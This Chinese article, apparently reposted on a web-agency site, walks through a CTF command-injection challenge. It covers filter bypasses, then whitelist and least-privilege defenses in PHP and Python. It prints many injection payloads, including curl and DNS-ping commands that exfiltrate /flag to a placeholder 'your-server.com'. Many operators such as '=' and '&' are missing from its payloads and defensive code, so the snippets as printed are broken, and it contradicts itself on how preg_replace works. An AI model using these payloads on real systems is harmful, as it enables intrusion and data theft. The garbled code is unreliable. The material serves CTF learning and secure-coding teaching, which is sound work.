ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Web安全攻防:从CTF命令执行绕过看过滤机制与防御实践

Web安全攻防:从CTF命令执行绕过看过滤机制与防御实践 1. 从一道CTF题看Web安全过滤的攻防博弈最近在带新人复盘一些经典的CTF Web题目发现“bugku web 都过滤了”这道题虽然名字听起来有点“摆烂”但实际考察的点非常扎实是理解Web安全中“过滤与绕过”攻防思想的绝佳案例。这道题的核心就是当你发现所有常见的注入点、命令执行点都被各种过滤规则严防死守时你该如何思考如何找到那个唯一的、脆弱的“缝隙”。这不仅仅是解一道题更是对安全工程师思维模式的一次锤炼——在看似铜墙铁壁的防御中寻找逻辑的破绽。很多新手遇到这种“全过滤”的场景容易懵觉得无从下手。但我的经验是越是这种题目越要回归基础系统性地去分析“过滤了什么”以及“没过滤什么”。攻击的本质是寻找差异防守的盲点往往藏在过滤规则的交集或边界之外。这道题没有给具体的题干描述但根据其经典性和常见的出题思路我们可以将其场景重构为一个典型的“命令执行漏洞”挑战目标是一个Web应用它接收用户输入试图执行某个系统命令比如ping、ls、cat等但开发者意识到了危险于是编写了过滤函数试图将危险字符如空格、分号、管道符、关键字等全部过滤或转义。我们的任务就是构造一个能绕过所有过滤成功执行任意命令的Payload。2. 深度拆解常见的过滤手段与我们的应对策略面对“都过滤了”的防御我们不能盲目尝试必须先建立一套分析框架。通常开发者的过滤会从以下几个层面入手而我们的绕过思路也对应产生。2.1 基于黑名单的关键字过滤这是最直观、也最容易被绕过的过滤方式。开发者会维护一个危险关键词列表如cat,flag,ls,bash,nc,python等一旦发现用户输入中包含这些词就直接拦截或替换为空。绕过思路1拼接与变形利用变量拼接在Bash中我们可以将命令拆分成多个部分再用变量或直接连接起来。ac;bat;cfl;dag;$a$b $c$d。这里$a$b的结果是cat$c$d的结果是flag。利用通配符cat fla*或cat fla?。星号*匹配任意字符问号?匹配单个字符。如果文件名已知是flag.txtcat fl*或cat fla?????都可能成功。利用空变量${}cat${IFS}flag.txt。${IFS}是Bash的内部字段分隔符默认为空格、制表符、换行符。如果空格被过滤这是一个极好的替代品。IFS本身也可以被拆分I“FS”;cat${$I}flag.txt。绕过思路2编码与八进制/十六进制Base64编码echo “Y2F0IGZsYWcudHh0Cg” | base64 -d | bash。将cat flag.txt命令base64编码后通过管道解码并交给bash执行。十六进制编码echo “63617420666c61672e7478740a” | xxd -r -p | bash。xxd -r -p可以将十六进制字符串还原。八进制编码在Bash中$‘\xxx’的形式可以表示八进制字符。例如空格是$‘\040’那么cat$‘\040’flag.txt可能绕过对空格的过滤。2.2 对特殊字符的过滤开发者深知关键字过滤的局限性因此往往会加强对特殊字符的过滤如空格、分号;、管道|、与号、反引号“”、美元符号$、重定向等。绕过思路寻找替代符号空格替代${IFS}如前所述最常用。或重定向符号。catflag.txt将文件内容重定向给cat命令。{cat,flag.txt}Bash的花括号扩展。{cat,flag.txt}会被扩展为cat flag.txt。Tab键cat%09flag.txtURL编码。在某些过滤中可能只过滤了空格字符0x20而忽略了Tab0x09。命令分隔符替代%0a换行符或%0d回车符在HTTP请求中换行和回车也能起到分隔命令的作用。例如Payload?cmdcat flag.txt%0als。||或逻辑运算符。如果过滤了;但没过滤可以使用cat flag.txt ls。绕过反斜杠和引号过滤如果过滤了反斜杠\和引号对于需要引用的场景可以尝试使用$或$*。在无参情况下它们扩展为空但可以用于构造字符串的一部分虽然比较晦涩但在极端过滤下值得一试。2.3 基于正则表达式的匹配与替换更高级的过滤会使用正则表达式例如preg_replace(‘/[\s;|$]/’, ‘’, $input)试图一次性清除所有危险字符。或者更狠的preg_replace(‘/flag|cat|ls|bash|nc/i’, ‘HACKED’, $input)直接替换掉关键词。绕过思路利用正则的“一次匹配”特性这是本题的一个核心考点。PHP的preg_replace函数当使用类似/flag/i这样的模式且未进行全局多次匹配时默认只替换第一次匹配到的内容。 假设服务器端代码如下$input $_GET[‘cmd’]; $filter array(‘flag’, ‘cat’, ‘ls’, ‘ ‘, ‘;’, ‘|’); foreach ($filter as $black) { $input preg_replace(‘/‘ . $black . ‘/i’, ‘’, $input); } system($input);这段代码的逻辑是遍历黑名单对每个黑名单词依次执行一次替换。这里就存在一个经典的“套娃”绕过。构造Payload?cmdflflagag cat%20flflagag.txt第一轮过滤flagflflagag中的flag被删除变成flag。flflagag.txt中的flag被删除变成flag.txt。此时命令变为flag cat%20flag.txt注意flag作为一个命令本身可能不存在这只是一个中间状态。关键点在于我们注入的cat和空格%20还在。假设cat和空格不在第一轮过滤的$filter数组里或者顺序在flag之后它们会在后续的遍历中被过滤掉。但这里有一个更巧妙的点如果cat和空格也被过滤了我们同样可以用双写绕过。比如命令是caat过滤cat后变成cat。所以一个更通用的Payload构造思想是对每一个被过滤的字符或关键词都进行“双写”。例如过滤列表是[‘flag’, ‘cat’, ‘ ‘]那么目标命令cat flag.txt就应该构造成caat flflagag.txt。注意空格也需要处理可以用${IFS}替代或者如果过滤了空格字符但没过滤${IFS}就直接用${IFS}。注意双写绕过的成功严重依赖于过滤函数的执行逻辑。必须是依次替换且只替换一次。如果开发使用str_replace函数它会全局替换所有出现双写就无效了。如果使用preg_replace的/…/i模式且未加g修饰符在PHP中preg_replace默认是全局替换的除非限制了次数参数。但有些写法或题目会模拟出“单次”效果双写可能成功。在实际解题时这需要通过不断测试和观察回显来判断过滤逻辑。3. 实战推演构建多层过滤的绕过链条现在让我们模拟一个更复杂的场景假设题目过滤了以下内容关键词cat,flag,ls,bash,sh,python,php。特殊字符空格、分号;、管道|、与号、反引号“”、重定向。甚至过滤了${IFS}这个字符串本身。我们的目标是读取/flag文件。第一步信息收集与可用命令探测即使过滤严格一些基础命令可能还在。我们可以尝试?cmd1查看回显确认命令执行功能存在。使用未过滤的命令探测如?cmdwhomai-whoami?cmdpwd-pwd。这能帮助我们了解当前权限和工作目录。尝试?cmdls%0a换行符。如果ls被过滤尝试l‘s’或l\s如果反斜杠没被过滤或者直接用通配符?cmd*列出所有文件。但*也可能被过滤。第二步选择命令执行函数既然cat、bash等被过滤我们需要寻找替代的读文件命令more、less、head、tail、tac反向cat、nl带行号输出、od八进制输出、xxd十六进制输出。这些命令可能不在黑名单中。例如尝试?cmdmore${IFS}/flag。如果${IFS}被过滤尝试用%09Tab或{more,/flag}。第三步处理被过滤的“flag”关键词如果“flag”这个文件名也被过滤我们需要在Payload中隐藏它。方法A通配符。?cmdmore${IFS}/fla*或?cmdmore${IFS}/fla?。假设flag文件是当前目录唯一的以fla开头的文件。方法B变量赋值。?cmdafl;bag;more${IFS}/$a$b。将fl和ag分别赋值给变量a和b然后拼接。方法C反斜杠转义如果反斜杠可用。?cmdmore${IFS}/fl\ag。但反斜杠常被过滤。方法D引号分割。?cmdmore${IFS}/‘fl’‘ag’。如果单引号或双引号没被过滤。第四步整合与测试假设我们探测到more和${IFS}可用但flag关键词和空格字符被过滤。我们可以构造?cmdmore${IFS}/fla*如果*也被过滤了呢那就需要更奇技淫巧。?cmdmore$IFS/fl$‘\141’g。这里使用了八进制表示法\141是字母a的八进制ASCII码。$‘\141’在Bash中会被解释为字符a。这样fl$‘\141’g就等于flag。如果连$‘...’这种形式都被解析过滤了那就需要考虑外部带出。既然能执行命令可以尝试curl或wget将文件内容通过HTTP请求发送到我们控制的服务器。?cmdcurl${IFS}-X${IFS}POST${IFS}--data-binary${IFS}/flag${IFS}http://your-server.com/。但这需要curl命令和网络连通性。dns外带使用ping或nslookup将文件内容作为域名的一部分发出。?cmdping${IFS}-c${IFS}1${IFS}cat /flag.your-server.com。这里用了反引号如果反引号被过滤可以用$()代替?cmdping${IFS}-c${IFS}1${IFS}$(cat${IFS}/flag).your-server.com。这需要你有一个能接收DNS查询日志的服务器。4. 防御视角如何构建更安全的命令执行逻辑作为开发者从这道题中我们能学到什么黑名单过滤是永远防不住的因为绕过方式层出不穷。正确的做法是白名单校验和最小化权限。1. 严格的白名单校验如果业务必须执行命令应只允许执行预设的、安全的命令。例如一个网络诊断功能只允许执行ping、traceroute那么就对用户传入的参数进行严格匹配只允许ping或traceroute并且对其参数如IP地址进行严格的格式校验正则匹配IP格式或域名格式而不是简单地过滤危险字符。2. 避免直接拼接命令绝对不要使用system(“ping ” . $user_input)或os.popen(“ls ” dir)这种形式。应使用能够分隔命令与参数的函数。PHP使用escapeshellarg()或escapeshellcmd()函数处理参数但要注意它们并非银弹需结合上下文理解。$allowed_commands [‘ping’ true, ‘ls’ true]; $cmd $_GET[‘cmd’]; $args $_GET[‘args’]; if (!isset($allowed_commands[$cmd])) { die(‘Command not allowed’); } // 对args进行严格过滤例如ls命令只允许特定的目录参数 if ($cmd ‘ls’) { $safe_dir escapeshellarg(‘/var/www/safe_dir/’); // 限制目录 system(“ls ” . $safe_dir); } elseif ($cmd ‘ping’) { $ip filter_var($args, FILTER_VALIDATE_IP); // 严格IP验证 if ($ip false) { die(‘Invalid IP’); } system(“ping -c 4 ” . escapeshellarg($ip)); }Python使用subprocess.run()并传递参数列表避免shellTrue。import subprocess cmd request.GET.get(‘cmd’) if cmd not in [‘ping’, ‘ls’]: return “Forbidden” # 对于ping if cmd ‘ping’: target request.GET.get(‘target’) # 验证target是合法IP或域名 if not valid_target(target): return “Invalid target” # 使用参数列表而非字符串拼接 result subprocess.run([‘ping’, ‘-c’, ‘4’, target], capture_outputTrue, textTrue, timeout5) return result.stdout3. 降低执行权限运行Web服务的进程如www-data, nobody应该具有尽可能低的权限。使用操作系统级别的权限控制如chroot jail, Docker容器或严格的SELinux/AppArmor策略确保即使命令执行漏洞被利用攻击者也只能访问到非常有限的资源。4. 禁用危险函数在PHP中可以在php.ini中通过disable_functions指令禁用system,exec,passthru,shell_exec,popen,proc_open等函数。这是最直接有效的方法如果业务不需要就彻底关闭。回到“bugku web 都过滤了”这道题它像是一个沙盘让我们在极限环境下锻炼绕过技巧。但在真实世界里作为防守方我们绝不能寄希望于一道又一道的黑名单过滤墙。真正的安全源于良好的设计不需要的命令执行功能就不要提供必须提供的就用白名单加参数化查询的思路去实现。这道题的价值就在于让我们同时理解了攻击的灵巧和防御的坚实知道矛有多利才知道盾该如何铸。
返回列表